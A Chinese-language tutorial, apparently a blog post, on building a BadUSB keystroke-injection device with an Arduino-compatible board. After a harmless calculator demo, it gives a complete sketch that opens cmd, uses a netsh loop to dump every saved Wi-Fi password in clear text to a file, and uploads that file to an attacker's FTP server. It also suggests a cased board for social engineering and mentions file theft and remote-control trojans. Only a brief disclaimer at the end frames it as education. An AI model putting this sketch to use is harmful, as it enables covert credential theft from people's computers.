因为一些因素,所以近期接触到了badusb,官方话还是要说,科普话也同样要说
“BadUSB”是计算机安全领域的热门话题之一,该漏洞由Karsten Nohl和Jakob Lell共同发现,并在BlackHat安全大会上公布。BadUSB号称是世界上最邪恶的USB外设。
首先买了一块板子,没错就是这种三四十块的,虽然外形很难让人接受,如果做社工的话建议多花十块,买个带壳子的!
开发工具,没错就是这货
插入我们买的板子,点击工具-获取开发板信息
然后再工具,选择我们刚刚得到的信息
好了 准备工作已经齐活了。开始工作吧
先简单的举一个弹计算器的例子
#include <Keyboard.h> void setup() { Keyboard.begin();//开始键盘通讯 delay(1000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(500); Keyboard.press(‘r‘);//r键 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release(‘r‘); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println("CALC"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//结束键盘通讯 } void loop()//循环 { }
点击1,再点击2
这个时候就一个badusb就已经制作好了,插入电脑后会自动打开计算器
---------------------------分割线------------------------------------
这都是比较低级的,还能做什么呢?像窃取文件啦。木马远控了
不过这些就需要配合一些其他的东西。就是一个虚拟主机,淘宝上也是十几块钱吧
以wifi密码窃取为例
让我们先看一下代码
#include <Keyboard.h> void setup() { Keyboard.begin();//开始键盘通讯 delay(1000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(500); Keyboard.press(‘r‘);//r键 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release(‘r‘); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println("CMD"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.print(F("for /f \"skip=9 tokens=1,2 delims=:\" %i in (‘netsh wlan show profiles‘) do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear >>d:/wifi.txt"));//这段代码的功能是把你电脑保存的wifi密码输出出来。保存到一个txt文件里面delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); //这里我关闭了大小写 delay(500); Keyboard.press(KEY_LEFT_SHIFT); //现在的输入法默认的都是开机自启汉字选项,我利用shift给他切换一下 Keyboard.release(KEY_LEFT_SHIFT); delay(500); Keyboard.print(F("ftp xxxxxxxx")); //这是你的ftp服务器地址 delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.print(F("xxxxxx")); //用户名 delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.print(F("xxxxxx")); //密码 delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.print(F("put d:/wifi.txt")); //上传刚才的wifi文件 delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.print(F("bye")); delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.print(F("exit"));//结束 delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.end();//结束键盘通讯 } void loop()//循环 { }
这个时候电脑保存的密码就上传到了你的服务器上
----------------------------分割--------------------------
现在网上的好多源码是不同语言写的,比如这样
这是一个在线的转换网站
http://www.lotqu.com/script.html
不过转换结束之后他的源代码是
type KEY_RETURN
这代表着是按回车键,松开回车键,但是在这个编辑器中是无法编译的,需要修改为一下的形式
Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN);
-------------------------------分割------------------------
多实验几次 。弄点其他的花样,其实这个就是模拟一个键盘的操作,可以说能作非常多的事
--------------------------------分割线------------------------------------------
不要做坏事,本文章仅供教学了解。请不要做非法的事情。